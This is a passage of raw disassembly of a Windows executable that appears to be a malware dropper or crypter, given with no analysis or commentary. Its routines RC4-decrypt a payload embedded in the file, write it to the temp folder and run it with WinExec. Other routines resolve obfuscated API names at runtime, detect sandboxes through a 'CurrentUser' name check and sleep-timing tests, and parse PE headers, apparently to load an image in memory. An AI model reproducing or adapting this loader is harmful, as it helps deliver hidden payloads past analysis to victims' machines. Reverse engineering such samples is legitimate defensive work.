loc_40016E10: ; CODE XREF: sub_40016D80+170j
lea eax, [ebp+var_14]
push eax
mov edx, [ebp+var_8]
mov eax, offset dword_40016F78
call sub_40004E30
mov ecx, eax
dec ecx
mov edx, 1
mov eax, [ebp+var_8]
call sub_40004DA8
mov eax, [ebp+var_14]
call sub_40016D54
mov ebx, eax
mov edx, [ebp+var_8]
mov eax, offset dword_40016F78
call sub_40004E30
mov ecx, eax
lea eax, [ebp+var_8]
mov edx, 1
call sub_40004DE8
lea eax, [ebp+var_18]
push eax
mov edx, [ebp+var_8]
mov eax, offset dword_40016F84
call sub_40004E30
mov ecx, eax
dec ecx
mov edx, 1
mov eax, [ebp+var_8]
call sub_40004DA8
mov eax, [ebp+var_18]
call sub_40016D54
mov esi, eax
mov edx, [ebp+var_8]
mov eax, offset dword_40016F84
call sub_40004E30
mov ecx, eax
lea eax, [ebp+var_8]
mov edx, 1
call sub_40004DE8
cmp edi, ebx
jg short loc_40016EBC
lea edi, [ebx+1]
push edi
lea eax, [ebp+var_C]
mov ecx, 1
mov edx, ds:off_40016D60
call sub_40005B28
add esp, 4
loc_40016EBC: ; CODE XREF: sub_40016D80+120j
mov eax, [ebp+var_C]
lea eax, [eax+ebx*4]
push eax
mov ecx, esi
mov edx, 1
mov eax, [ebp+var_4]
call sub_40004DA8
lea eax, [ebp+var_4]
mov ecx, esi
mov edx, 1
call sub_40004DE8
loc_40016EE1: ; CODE XREF: sub_40016D80+8Bj
mov edx, [ebp+var_8]
mov eax, offset dword_40016F84
call sub_40004E30
test eax, eax
jg loc_40016E10
mov eax, [ebp+var_10]
call sub_40004884
mov ebx, edi
dec ebx
test ebx, ebx
jl short loc_40016F1D
inc ebx
xor esi, esi
loc_40016F08: ; CODE XREF: sub_40016D80+19Bj
mov eax, [ebp+var_10]
mov edx, [ebp+var_C]
mov edx, [edx+esi*4]
call sub_40004B50
mov eax, [ebp+var_10]
inc esi
dec ebx
jnz short loc_40016F08
loc_40016F1D: ; CODE XREF: sub_40016D80+183j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_40016F5A
loc_40016F2A: ; CODE XREF: sub_40016D80+1D8j
lea eax, [ebp+var_18]
mov edx, 2
call sub_400048A8
lea eax, [ebp+var_C]
mov edx, ds:off_40016D60
call sub_40005B34
lea eax, [ebp+var_8]
mov edx, 2
call sub_400048A8
retn
; ---------------------------------------------------------------------------
loc_40016F53: ; DATA XREF: sub_40016D80+1Fo
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40016F2A
; ---------------------------------------------------------------------------
loc_40016F5A: ; CODE XREF: sub_40016D80+1D2j
; DATA XREF: sub_40016D80+1A5o
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_40016D80 endp
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 1
dword_40016F6C dd 1, 0FFFFFFFFh, 1 ; sub_40016D80+54o
dword_40016F78 dd 3Ah, 0FFFFFFFFh, 1 ; sub_40016D80+BEo
dword_40016F84 dd 3Bh ; sub_40016D80+105o ...
; =============== S U B R O U T I N E =======================================
sub_40016F88 proc near ; CODE XREF: .itext:4001959Bp
; .itext:4001970Cp
push ebx
push esi
mov esi, eax
push 0Ah
push edx
mov eax, ds:dword_4001E7F8
push eax
call sub_40006538 ; FindResourceA
mov ebx, eax
push ebx
mov eax, ds:dword_4001E7F8
push eax
call sub_40006638 ; SizeofResource
mov [esi], eax
push ebx
mov eax, ds:dword_4001E7F8
push eax
call sub_400065F8 ; LoadResource
mov ebx, eax
push ebx
call sub_40006600 ; SetHandleCount
mov esi, eax
test esi, esi
jz short loc_40016FCC
push ebx
call sub_40006550 ; FreeResource
jmp short loc_40016FD3
; ---------------------------------------------------------------------------
loc_40016FCC: ; CODE XREF: sub_40016F88+3Aj
push 0
call sub_40006530 ; ExitProcess
loc_40016FD3: ; CODE XREF: sub_40016F88+42j
mov eax, esi
pop esi
pop ebx
retn
sub_40016F88 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40016FD8 proc near ; CODE XREF: sub_400171BC+44p
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
push ebx
push esi
push edi
mov ecx, edx
test ecx, ecx
js short loc_40016FF1
shr ecx, 2
loc_40016FEA: ; CODE XREF: sub_40016FD8+17j
mov ebx, [eax+ecx*4]
dec ecx
push ebx
jns short loc_40016FEA
loc_40016FF1: ; CODE XREF: sub_40016FD8+Dj
mov eax, esp
mov [ebp+var_4], eax
xor eax, eax
mov [ebp+var_8], eax
lea edi, [edx+1]
xor ecx, ecx
mov ebx, offset dword_4001F3C8
mov esi, offset byte_4001F4C8
loc_4001700A: ; CODE XREF: sub_40016FD8+4Cj
mov eax, ecx
cdq
idiv edi
mov eax, [ebp+var_4]
movzx eax, byte ptr [eax+edx+1]
mov [ebx], al
mov [esi], cl
inc ecx
inc esi
inc ebx
cmp ecx, 100h
jnz short loc_4001700A
mov ecx, 100h
mov eax, offset byte_4001F4C8
mov edx, offset dword_4001F3C8
loc_40017035: ; CODE XREF: sub_40016FD8+99j
movzx ebx, byte ptr [eax]
mov esi, ebx
add esi, [ebp+var_8]
movzx edi, byte ptr [edx]
add esi, edi
and esi, 800000FFh
jns short loc_40017052
dec esi
or esi, 0FFFFFF00h
inc esi
loc_40017052: ; CODE XREF: sub_40016FD8+70j
mov [ebp+var_8], esi
mov esi, ebx
mov ebx, [ebp+var_8]
movzx ebx, ds:byte_4001F4C8[ebx]
mov [eax], bl
mov ebx, esi
mov esi, [ebp+var_8]
mov ds:byte_4001F4C8[esi], bl
inc edx
inc eax
dec ecx
jnz short loc_40017035
mov edi, [ebp+var_14]
mov esi, [ebp+var_10]
mov ebx, [ebp+var_C]
mov esp, ebp
pop ebp
retn
sub_40016FD8 endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40017080 proc near ; CODE XREF: sub_400171BC+145p
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF0h
push ebx
push esi
push edi
mov ebx, edx
test ebx, ebx
js short loc_40017099
shr ebx, 2
loc_40017092: ; CODE XREF: sub_40017080+17j
mov esi, [eax+ebx*4]
dec ebx
push esi
jns short loc_40017092
loc_40017099: ; CODE XREF: sub_40017080+Dj
mov eax, esp
mov [ebp+var_4], ecx
xor esi, esi
xor ecx, ecx
inc edx
test edx, edx
jl short loc_40017124
inc edx
mov [ebp+var_10], edx
mov edx, [ebp+var_4]
loc_400170AE: ; CODE XREF: sub_40017080+A2j
inc esi
and esi, 800000FFh
jns short loc_400170BF
dec esi
or esi, 0FFFFFF00h
inc esi
loc_400170BF: ; CODE XREF: sub_40017080+35j
movzx ebx, ds:byte_4001F4C8[esi]
add ecx, ebx
and ecx, 800000FFh
jns short loc_400170D8
dec ecx
or ecx, 0FFFFFF00h
inc ecx
loc_400170D8: ; CODE XREF: sub_40017080+4Ej
mov [ebp+var_C], ebx
movzx ebx, ds:byte_4001F4C8[ecx]
mov ds:byte_4001F4C8[esi], bl
movzx ebx, byte ptr [ebp+var_C]
mov ds:byte_4001F4C8[ecx], bl
movzx ebx, ds:byte_4001F4C8[esi]
movzx edi, ds:byte_4001F4C8[ecx]
add ebx, edi
and ebx, 0FFh
movzx ebx, ds:byte_4001F4C8[ebx]
movzx edi, byte ptr [eax]
xor ebx, edi
mov [ebp+var_8], ebx
movzx ebx, byte ptr [ebp+var_8]
mov [edx], bl
inc edx
inc eax
dec [ebp+var_10]
jnz short loc_400170AE
loc_40017124: ; CODE XREF: sub_40017080+25j
mov edi, [ebp+var_1C]
mov esi, [ebp+var_18]
mov ebx, [ebp+var_14]
mov esp, ebp
pop ebp
retn 4
sub_40017080 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40017134 proc near ; CODE XREF: sub_400171BC+94p
var_4 = dword ptr -4
push ebp
mov ebp, esp
push ecx
push ebx
mov ebx, edx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
call sub_40004D38
xor eax, eax
push ebp
push offset loc_400171A3
push dword ptr fs:[eax]
mov fs:[eax], esp
jmp short loc_40017172
; ---------------------------------------------------------------------------
loc_40017156: ; CODE XREF: sub_40017134+4Dj
mov edx, [ebp+var_4]
mov eax, offset dword_400171B8
call sub_40004E30
mov ecx, eax
lea eax, [ebp+var_4]
mov edx, 1
call sub_40004DE8
loc_40017172: ; CODE XREF: sub_40017134+20j
mov edx, [ebp+var_4]
mov eax, offset dword_400171B8
call sub_40004E30
test eax, eax
jnz short loc_40017156
mov eax, ebx
mov edx, [ebp+var_4]
call sub_400048D8
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_400171AA
loc_4001719A: ; CODE XREF: sub_40017134+74j
lea eax, [ebp+var_4]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_400171A3: ; DATA XREF: sub_40017134+15o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_4001719A
; ---------------------------------------------------------------------------
loc_400171AA: ; CODE XREF: sub_40017134+6Ej
; DATA XREF: sub_40017134+61o
pop ebx
pop ecx
pop ebp
retn
sub_40017134 endp
; ---------------------------------------------------------------------------
align 10h
dd 0FFFFFFFFh, 1
dword_400171B8 dd 5Ch ; sub_40017134+41o
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400171BC proc near ; CODE XREF: .itext:40019564p
var_920 = dword ptr -920h
var_91C = dword ptr -91Ch
var_918 = dword ptr -918h
var_914 = dword ptr -914h
var_910 = dword ptr -910h
var_909 = byte ptr -909h
var_804 = byte ptr -804h
var_404 = byte ptr -404h
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFF6E0h
push ebx
push esi
push edi
xor eax, eax
mov [ebp+var_920], eax
mov [ebp+var_910], eax
mov [ebp+var_914], eax
mov [ebp+var_918], eax
mov [ebp+var_91C], eax
xor eax, eax
push ebp
push offset loc_40017358
push dword ptr fs:[eax]
mov fs:[eax], esp
mov eax, offset dword_4001ADB8
mov edx, 0FFh
call sub_40016FD8
lea eax, [ebp+var_909]
push eax
push 105h
call sub_400065C0 ; GetTempPathA
lea eax, [ebp+var_914]
lea edx, [ebp+var_909]
mov ecx, 105h
call sub_40004AF4
push [ebp+var_914]
push offset dword_40017370
lea edx, [ebp+var_91C]
xor eax, eax
call sub_40002FF8
mov eax, [ebp+var_91C]
lea edx, [ebp+var_918]
call sub_40017134
push [ebp+var_918]
lea eax, [ebp+var_910]
mov edx, 3
call sub_40004C08
mov eax, [ebp+var_910]
call sub_40004D48
mov edi, eax
push 0
push 80h
push 3
push 0
push 1
push 80000000h
lea edx, [ebp+var_920]
xor eax, eax
call sub_40002FF8
mov eax, [ebp+var_920]
call sub_40004D48
push eax
call sub_40006510 ; CreateFileA
mov ebx, eax
push 0
push 0
push 3E00h
push ebx
call sub_40006630 ; SetFilePointer
push 0
push 80h
push 2
push 0
push 2
push 40000000h
push edi
call sub_40006510 ; CreateFileA
mov esi, eax
loc_400172D3: ; CODE XREF: sub_400171BC+168j
push 0
lea eax, [ebp+var_4]
push eax
push 400h
lea eax, [ebp+var_404]
push eax
push ebx
call sub_40006618 ; ReadFile
push 3FFh
lea ecx, [ebp+var_804]
lea eax, [ebp+var_404]
mov edx, 3FFh
call sub_40017080
push 0
lea eax, [ebp+var_4]
push eax
mov eax, [ebp+var_4]
push eax
lea eax, [ebp+var_804]
push eax
push esi
call sub_40006660 ; WriteFile
cmp [ebp+var_4], 400h
jnb short loc_400172D3
push ebx
call sub_400064F0 ; CloseHandle
push esi
call sub_400064F0 ; CloseHandle
push 0
push edi
call sub_40006658 ; WinExec
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_4001735F
loc_40017347: ; CODE XREF: sub_400171BC+1A1j
lea eax, [ebp+var_920]
mov edx, 5
call sub_400048A8
retn
; ---------------------------------------------------------------------------
loc_40017358: ; DATA XREF: sub_400171BC+2Fo
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_40017347
; ---------------------------------------------------------------------------
loc_4001735F: ; CODE XREF: sub_400171BC+19Bj
; DATA XREF: sub_400171BC+186o
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_400171BC endp
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 1
dword_40017370 dd 5Ch
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40017374 proc near ; CODE XREF: sub_400173FC+2Dp
; sub_400173FC+4Ap ...
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
push ebx
push esi
xor ecx, ecx
mov [ebp+var_8], ecx
mov esi, edx
mov [ebp+var_4], eax
mov eax, [ebp+var_4]
call sub_40004D38
xor eax, eax
push ebp
push offset loc_400173ED
push dword ptr fs:[eax]
mov fs:[eax], esp
mov ebx, [ebp+var_4]
test ebx, ebx
jz short loc_400173A8
sub ebx, 4
mov ebx, [ebx]
loc_400173A8: ; CODE XREF: sub_40017374+2Dj
push 0
push 0Ah
push 0
push 14h
lea edx, [ebp+var_8]
mov eax, ebx
call sub_40016CE8
mov edx, [ebp+var_8]
lea ecx, [ebp+var_4]
mov eax, [ebp+var_4]
call sub_40006A2C
mov eax, esi
mov edx, [ebp+var_4]
call sub_400048D8
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_400173F4
loc_400173DF: ; CODE XREF: sub_40017374+7Ej
lea eax, [ebp+var_8]
mov edx, 2
call sub_400048A8
retn
; ---------------------------------------------------------------------------
loc_400173ED: ; DATA XREF: sub_40017374+1Do
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_400173DF
; ---------------------------------------------------------------------------
loc_400173F4: ; CODE XREF: sub_40017374+78j
; DATA XREF: sub_40017374+66o
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
retn
sub_40017374 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_400173FC proc near ; CODE XREF: .itext:40019569p
var_54 = dword ptr -54h
var_50 = dword ptr -50h
var_4C = dword ptr -4Ch
var_48 = dword ptr -48h
var_44 = dword ptr -44h
var_40 = dword ptr -40h
var_3C = dword ptr -3Ch
var_38 = dword ptr -38h
var_34 = dword ptr -34h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_28 = dword ptr -28h
var_24 = dword ptr -24h
var_20 = dword ptr -20h
var_1C = dword ptr -1Ch
var_18 = dword ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
mov ecx, 0Ah
loc_40017404: ; CODE XREF: sub_400173FC+Dj
push 0
push 0
dec ecx
jnz short loc_40017404
push ecx
push ebx
push esi
mov esi, offset dword_4001F3B0
xor eax, eax
push ebp
push offset loc_400176B8
push dword ptr fs:[eax]
mov fs:[eax], esp
lea edx, [ebp+var_4]
mov eax, offset dword_400176D0
call sub_40017374
mov eax, [ebp+var_4]
call sub_40004D48
push eax
call sub_400065F0 ; LoadLibraryA
mov ebx, eax
lea edx, [ebp+var_8]
mov eax, offset dword_400176E4
call sub_40017374
mov eax, [ebp+var_8]
call sub_40004D48
push eax
push ebx
call sub_400065A8 ; GetProcAddress
mov [esi], eax
lea edx, [ebp+var_C]
mov eax, offset dword_400176FC
call sub_40017374
mov eax, [ebp+var_C]
call sub_40004D48
push eax
push ebx
call dword ptr [esi]
mov ds:dword_4001F3B4, eax
lea edx, [ebp+var_10]
mov eax, offset dword_40017710
call sub_40017374
mov eax, [ebp+var_10]
call sub_40004D48
push eax
push ebx
call dword ptr [esi]
mov ds:dword_4001F3B8, eax
lea edx, [ebp+var_14]
mov eax, offset dword_40017728
call sub_40017374
mov eax, [ebp+var_14]
call sub_40004D48
push eax
push ebx
call dword ptr [esi]
mov ds:dword_4001F3BC, eax
lea edx, [ebp+var_18]
mov eax, offset dword_4001773C
call sub_40017374
mov eax, [ebp+var_18]
call sub_40004D48
push eax
push ebx
call dword ptr [esi]
mov ds:dword_4001F3C0, eax
lea edx, [ebp+var_1C]
mov eax, offset dword_40017750
call sub_40017374
mov eax, [ebp+var_1C]
call sub_40004D48
push eax
push ebx
call dword ptr [esi]
mov ds:dword_4001F3C4, eax
lea edx, [ebp+var_20]
mov eax, offset dword_40017764
call sub_40017374
mov eax, [ebp+var_20]
call sub_40004D48
push eax
push ebx
call dword ptr [esi]
mov ds:dword_4001F378, eax
lea edx, [ebp+var_24]
mov eax, offset dword_4001777C
call sub_40017374
mov eax, [ebp+var_24]
call sub_40004D48
push eax
push ebx
call dword ptr [esi]
mov ds:dword_4001F37C, eax
lea edx, [ebp+var_28]
mov eax, offset dword_40017798
call sub_40017374
mov eax, [ebp+var_28]
call sub_40004D48
push eax
push ebx
call dword ptr [esi]
mov ds:dword_4001F384, eax
lea edx, [ebp+var_2C]
mov eax, offset dword_400177B4
call sub_40017374
mov eax, [ebp+var_2C]
call sub_40004D48
push eax
push ebx
call dword ptr [esi]
mov ds:dword_4001F388, eax
lea edx, [ebp+var_30]
mov eax, offset dword_400177D0
call sub_40017374
mov eax, [ebp+var_30]
call sub_40004D48
push eax
push ebx
call dword ptr [esi]
mov ds:dword_4001F38C, eax
lea edx, [ebp+var_34]
mov eax, offset dword_400177E8
call sub_40017374
mov eax, [ebp+var_34]
call sub_40004D48
push eax
push ebx
call dword ptr [esi]
mov ds:dword_4001F394, eax
lea edx, [ebp+var_38]
mov eax, offset dword_40017800
call sub_40017374
mov eax, [ebp+var_38]
call sub_40004D48
push eax
push ebx
call dword ptr [esi]
mov ds:dword_4001F398, eax
lea edx, [ebp+var_3C]
mov eax, offset dword_40017818
call sub_40017374
mov eax, [ebp+var_3C]
call sub_40004D48
push eax
push ebx
call dword ptr [esi]
mov ds:dword_4001F39C, eax
lea edx, [ebp+var_40]
mov eax, offset dword_40017830
call sub_40017374
mov eax, [ebp+var_40]
call sub_40004D48
push eax
push ebx
call dword ptr [esi]
mov ds:dword_4001F3A0, eax
lea edx, [ebp+var_44]
mov eax, offset dword_40017848
call sub_40017374
mov eax, [ebp+var_44]
call sub_40004D48
push eax
push ebx
call dword ptr [esi]
mov ds:dword_4001F3A4, eax
lea edx, [ebp+var_48]
mov eax, offset dword_4001785C
call sub_40017374
mov eax, [ebp+var_48]
call sub_40004D48
push eax
push ebx
call dword ptr [esi]
mov ds:dword_4001F390, eax
lea edx, [ebp+var_4C]
mov eax, offset dword_40017874
call sub_40017374
mov eax, [ebp+var_4C]
call sub_40004D48
push eax
push ebx
call dword ptr [esi]
mov ds:dword_4001F3A8, eax
lea edx, [ebp+var_50]
mov eax, offset dword_40017890
call sub_40017374
mov eax, [ebp+var_50]
call sub_40004D48
push eax
push ebx
call dword ptr [esi]
mov ds:dword_4001F380, eax
lea edx, [ebp+var_54]
mov eax, offset dword_400178A8
call sub_40017374
mov eax, [ebp+var_54]
call sub_40004D48
push eax
push ebx
call dword ptr [esi]
mov ds:dword_4001F3AC, eax
push ebx
call ds:dword_4001F3A4 ; FreeLibrary
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_400176BF
loc_400176AA: ; CODE XREF: sub_400173FC+2C1j
lea eax, [ebp+var_54]
mov edx, 15h
call sub_400048A8
retn
; ---------------------------------------------------------------------------
loc_400176B8: ; DATA XREF: sub_400173FC+1Ao
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_400176AA
; ---------------------------------------------------------------------------
loc_400176BF: ; CODE XREF: sub_400173FC+2BBj
; DATA XREF: sub_400173FC+2A9o
pop esi
pop ebx
mov esp, ebp
pop ebp
retn
sub_400173FC endp
; ---------------------------------------------------------------------------
align 4
dd 0FFFFFFFFh, 8
dword_400176D0 dd 2B362609h, 7B7B2B23h, 0 dd 0FFFFFFFFh, 0Eh
dword_400176E4 dd 22051528h, 37161B01h, 0A0B1C13h, 203h, 0FFFFFFFFh, 0Bh
; DATA XREF: sub_400173FC+45o
dword_400176FC dd 0E0B1F2Fh, 1A341404h, 371018h, 0FFFFFFFFh, 0Eh
; DATA XREF: sub_400173FC+63o
dword_40017710 dd 3405153Ch, 2610181Ah, 1B171118h, 315h, 0FFFFFFFFh, 8
; DATA XREF: sub_400173FC+81o
dword_40017728 dd 21252610h, 2C242E00h, 0 dd 0FFFFFFFFh, 0Bh
dword_4001773C dd 291A082Bh, 20171D19h, 130F1Dh, 0FFFFFFFFh, 0Bh
; DATA XREF: sub_400173FC+BDo
dword_40017750 dd 1C01012Fh, 1D133915h, 131910h, 0FFFFFFFFh, 0Ch
; DATA XREF: sub_400173FC+DBo
dword_40017764 dd 51C0B3Fh, 1C27171Ch, 9161307h, 0 dd 0FFFFFFFFh, 10h
dword_4001777C dd 20071722h, 1912041Dh, 1F14391Dh, 10C1606h, 0
; DATA XREF: sub_400173FC+117o
dd 0FFFFFFFFh, 11h
dword_40017798 dd 11151620h, 1A170526h, 3F0F081Fh, 41A1916h, 0Eh, 0FFFFFFFFh
; DATA XREF: sub_400173FC+135o
dd 10h
dword_400177B4 dd 20071736h, 1912041Dh, 1F14391Dh, 10C1606h, 0
; DATA XREF: sub_400173FC+153o
dd 0FFFFFFFFh, 0Eh
dword_400177D0 dd 1314022Ch, 4251107h, 1C1C1B18h, 3003h, 0FFFFFFFFh, 0Dh
; DATA XREF: sub_400173FC+171o
dword_400177E8 dd 151E0628h, 1A071620h, 0B1B0503h, 2Eh, 0FFFFFFFFh, 0Eh
; DATA XREF: sub_400173FC+18Fo
dword_40017800 dd 170B193Ch, 1327121Ch, 1D0C1704h, 1413h, 0FFFFFFFFh
; DATA XREF: sub_400173FC+1ADo
dd 0Ch
dword_40017818 dd 140E0121h, 1B001723h, 8140400h, 0 dd 0FFFFFFFFh, 0Ch
dword_40017830 dd 1B0C0121h, 1B001723h, 8140400h, 0 dd 0FFFFFFFFh, 0Bh
dword_40017848 dd 0A0B1F2Ah, 110183Ch, 0F0715h, 0FFFFFFFFh, 0Ch
; DATA XREF: sub_400173FC+207o
dword_4001785C dd 150A1C2Bh, 1B001723h, 8140400h, 0 dd 0FFFFFFFFh, 12h
dword_40017874 dd 21C0624h, 150B2812h, 0E1918h, 181B1039h, 0Ah, 0FFFFFFFFh
; DATA XREF: sub_400173FC+243o
dd 0Eh
dword_40017890 dd 6031939h, 37191506h, 0C16141Bh, 1000935h, 0FFFFFFFFh
; DATA XREF: sub_400173FC+261o
dd 12h
dword_400178A8 dd 3B011134h, 160C1C18h, 1F143A1Eh, 1A173B11h, 381Dh
; DATA XREF: sub_400173FC+27Fo
; =============== S U B R O U T I N E =======================================
sub_400178BC proc near ; CODE XREF: sub_400178DC+53p
; sub_40017A1C+F3p ...
push ebx
mov ebx, edx
mov ecx, eax
mov eax, ecx
xor edx, edx
div ebx
test edx, edx
jnz short loc_400178CF
mov eax, ecx
pop ebx
retn
; ---------------------------------------------------------------------------
loc_400178CF: ; CODE XREF: sub_400178BC+Dj
mov eax, ecx
xor edx, edx
div ebx
inc eax
imul ebx
pop ebx
retn
sub_400178BC endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
sub_400178DC proc near ; CODE XREF: sub_40017A1C+7Bp
var_14 = dword ptr -14h
push ebx
push esi
push edi
push ebp
push ecx
mov ecx, [eax+3Ch]
add ecx, eax
mov ebp, [ecx+38h]
mov ebx, [ecx+54h]
mov eax, ebx
xor edx, edx
div ebp
test edx, edx
jnz short loc_400178FB
mov [esp+14h+var_14], ebx
jmp short loc_40017907
; ---------------------------------------------------------------------------
loc_400178FB: ; CODE XREF: sub_400178DC+18j
mov eax, ebx
xor edx, edx
div ebp
inc eax
add eax, ebp
mov [esp+14h+var_14], eax
loc_40017907: ; CODE XREF: sub_400178DC+1Dj
lea edi, [ecx+18h]
movzx eax, word ptr [ecx+14h]
add edi, eax
movzx esi, word ptr [ecx+6]
dec esi
test esi, esi
jb short loc_4001793B
inc esi
xor ebx, ebx
loc_4001791C: ; CODE XREF: sub_400178DC+5Dj
lea eax, [ebx+ebx*4]
cmp dword ptr [edi+eax*8+8], 0
jz short loc_40017937
lea eax, [ebx+ebx*4]
mov eax, [edi+eax*8+8]
mov edx, ebp
call sub_400178BC
add [esp+14h+var_14], eax
loc_40017937: ; CODE XREF: sub_400178DC+48j
inc ebx
dec esi
jnz short loc_4001791C
loc_4001793B: ; CODE XREF: sub_400178DC+3Bj
mov eax, [esp+14h+var_14]
pop edx
pop ebp
pop edi
pop esi
pop ebx
retn
sub_400178DC endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40017944 proc near ; CODE XREF: sub_40017A1C+3Cp
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFFF8h
push ebx
push esi
xor eax, eax
mov [ebp+var_8], eax
xor eax, eax
push ebp
push offset loc_400179AF
push dword ptr fs:[eax]
mov fs:[eax], esp
xor ebx, ebx
mov eax, 40h
call sub_40002C20
mov esi, eax
mov [ebp+var_4], 40h
lea eax, [ebp+var_4]
push eax
push esi
call sub_400064B8 ; GetUserNameA
lea eax, [ebp+var_8]
mov edx, esi
call sub_40004A7C
mov eax, [ebp+var_8]
mov edx, offset aCurrentuser ; "CurrentUser"
call sub_40004C94
jnz short loc_40017999
mov bl, 1
loc_40017999: ; CODE XREF: sub_40017944+51j
xor eax, eax
pop edx
pop ecx
pop ecx
mov fs:[eax], edx
push offset loc_400179B6
loc_400179A6: ; CODE XREF: sub_40017944+70j
lea eax, [ebp+var_8]
call sub_40004884
retn
; ---------------------------------------------------------------------------
loc_400179AF: ; DATA XREF: sub_40017944+10o
jmp loc_40004204
; ---------------------------------------------------------------------------
jmp short loc_400179A6
; ---------------------------------------------------------------------------
loc_400179B6: ; CODE XREF: sub_40017944+6Aj
; DATA XREF: sub_40017944+5Do
mov eax, ebx
pop esi
pop ebx
pop ecx
pop ecx
pop ebp
retn
sub_40017944 endp
; ---------------------------------------------------------------------------
align 10h
dd 0FFFFFFFFh, 0Bh
aCurrentuser db 'CurrentUser',0 ; DATA XREF: sub_40017944+47o
; =============== S U B R O U T I N E =======================================
sub_400179D4 proc near ; CODE XREF: sub_40017A1C+41p
; sub_40017A1C:loc_40017C5Bp ...
push ebx
push esi
push edi
xor ebx, ebx
call sub_400065D0 ; GetTickCount
mov edi, eax
push 1F4h
call sub_40006640 ; Sleep
call sub_400065D0 ; GetTickCount
mov esi, eax
push 1F4h
call sub_40006640 ; Sleep
call sub_400065D0 ; GetTickCount
sub esi, edi
cmp esi, 1F4h
jge short loc_40017A15
sub eax, edi
cmp eax, 3E8h
jge short loc_40017A15
mov bl, 1
loc_40017A15: ; CODE XREF: sub_400179D4+34j
; sub_400179D4+3Dj
mov eax, ebx
pop edi
pop esi
pop ebx
retn
sub_400179D4 endp
; ---------------------------------------------------------------------------
align 4
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40017A1C proc near ; CODE XREF: .itext:40019849p
var_254 = dword ptr -254h
var_250 = dword ptr -250h
var_24C = dword ptr -24Ch
var_248 = dword ptr -248h
var_1A4 = dword ptr -1A4h
var_198 = dword ptr -198h
var_179 = byte ptr -179h
var_74 = byte ptr -74h
var_30 = dword ptr -30h
var_2C = dword ptr -2Ch
var_20 = dword ptr -20h
var_1C = byte ptr -1Ch
var_18 = byte ptr -18h
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
push ebp
mov ebp, esp
add esp, 0FFFFFDACh
push ebx
push esi
push edi
xor ecx, ecx
mov [ebp+var_254], ecx
mov [ebp+var_24C], ecx
mov [ebp+var_250], ecx
mov [ebp+var_4], edx
mov [ebp+var_8], eax
mov eax, [ebp+var_4]
call sub_40004D38
xor eax, eax
push ebp
push offset loc_40017D6A
push dword ptr fs:[eax]
mov fs:[eax], esp
call sub_40017944
call sub_400179D4
lea eax, [ebp+var_179]
xor ecx, ecx
mov edx, 104h
call sub_40003580
push 104h
lea eax, [ebp+var_179]
push eax
push 0
call ds:dword_4001F3AC ; GetModuleFileNameA
mov eax, [ebp+var_8]
mov eax, [eax+3Ch]
add eax, [ebp+var_8]
mov [ebp+var_10], eax
mov eax, [ebp+var_8]
call sub_400178DC
mov [ebp+var_20], eax
mov eax, [ebp+var_20]
call sub_40002C20
mov [ebp+var_14], eax
xor edx, edx
push ebp
push offset loc_40017D3D
push dword ptr fs:[edx]
mov fs:[edx], esp
mov eax, [ebp+var_14]
mov [ebp+var_C], eax
mov eax, [ebp+var_10]
mov eax, [eax+54h]
mov edx, [ebp+var_10]
lea esi, [edx+18h]
mov edx, [ebp+var_10]
movzx edx, word ptr [edx+14h]
add esi, edx
mov edx, [ebp+var_10]
movzx edi, word ptr [edx+6]
dec edi
test edi, edi
jb short loc_40017AF6
inc edi
xor ebx, ebx
loc_40017AE2: ; CODE XREF: sub_40017A1C+D8j
lea edx, [ebx+ebx*4]
cmp eax, [esi+edx*8+14h]
jbe short loc_40017AF2
lea eax, [ebx+ebx*4]
mov eax, [esi+eax*8+14h]
loc_40017AF2: ; CODE XREF: sub_40017A1C+CDj
inc ebx
dec edi
jnz short loc_40017AE2
